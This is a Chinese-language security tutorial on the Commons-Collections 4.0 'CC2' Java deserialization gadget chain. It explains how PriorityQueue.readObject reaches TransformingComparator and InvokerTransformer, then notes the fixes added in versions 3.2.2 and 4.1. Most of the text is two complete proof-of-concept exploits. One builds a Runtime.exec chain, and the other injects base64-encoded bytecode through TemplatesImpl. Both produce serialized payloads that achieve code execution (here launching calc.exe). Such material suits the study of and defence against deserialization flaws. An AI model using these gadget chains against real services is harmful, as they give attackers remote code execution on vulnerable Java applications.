CommonCollections 2
commons-collections有两个版本
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
前者是Commons Collections为3.2.1版本,后者版本号为4.0,两者都是独立的包,在3.2.1之前可以用的反序列化利用链,在4.0同样可以使用,同时4.0多了两条新的利用链。
PriorityQueue利用链
java.util.PriorityQueue中的readObject()方法为本链的入口点,其中调用了heapity()方法
而heapify()调用了siftDown()
]继续跟进,如果comparator != null,进入siftDownUsingComparator()方法
]而在siftDownUsingComparator()方法中,我们可以调用指定类的compare()方法
]而org.apache.commons.collections4.comparators.TransformingComparator中存在compare方法可以调用 transform()方法
]至此,我们就可以使用前几条链子的transform利用链,进而rce
完整poc:
package CCdemo;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception{
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
};
Transformer chainedTransformer = new ChainedTransformer(faketransformers);
Comparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue= new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
成功执行
]注意add方法会提前调用利用链,具体跟CC6类似,所以先传入一个fake对象,最后反射修改
PriorityQueue利用链之TemplatesImpl
结合前面所学知识,我们可以构造出来一个TemplatesImpl的利用链,没啥说的,直接拼接一下就ok了
package CCdemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2_TemplatesImpl {
public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,Value);
}
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAMQoADQAaCAAbCgAFABwIAB0HAB4KAAUAHwgAIAcAIQcAIgoAIwAkCAAlBwAmBwAn" +
"AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgB" +
"AAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9E" +
"T007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXph" +
"dGlvbkhhbmRsZXI7KVYHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94" +
"c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy" +
"YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6" +
"YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAA4ADwEAEWphdmEubGFu" +
"Zy5SdW50aW1lDAAqACsBAApnZXRSdW50aW1lAQAPamF2YS9sYW5nL0NsYXNzDAAsAC0BAARleGVj" +
"AQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QHAC4MAC8AMAEABGNhbGMBAAtM" +
"b2Rlci9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50" +
"aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcv" +
"YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEA" +
"JShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGph" +
"dmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRo" +
"b2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2Jq" +
"ZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEADAANAAAAAAADAAEA" +
"DgAPAAIAEAAAAHEABgAFAAAAQSq3AAESArgAA0wrEgQDvQAFtgAGTSsSBwS9AAVZAxIIU7YABk4s" +
"KwO9AAm2AAo6BC0ZBAS9AAlZAxILU7YAClexAAAAAQARAAAAHgAHAAAADQAEAA4ACgAPABUAEAAl" +
"ABEAMAASAEAAFQASAAAABAABABMAAQAUABUAAgAQAAAAGQAAAAMAAAABsQAAAAEAEQAAAAYAAQAA" +
"ABcAEgAAAAQAAQAWAAEAFAAXAAIAEAAAABkAAAAEAAAAAbEAAAABABEAAAAGAAEAAAAZABIAAAAE" +
"AAEAFgABABgAAAACABk=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{codes});
setFieldValue(templates,"_name","c1");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue priorityQueue= new PriorityQueue(2,comparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
官方修复
那么PriorityQueue利用链可以在commons-collections 3中使用吗?答案是不可以的。原因很简单,它不能被反序列化。
]在3.2.2版本时,官方新增了FunctorUtils#checkUnsafeSerialization 用来检查反序列化是否安全,当反序列化常见的危险Transform类时,会抛出异常
而在4.1版本,常用的危险Transform类直接不能被反序列化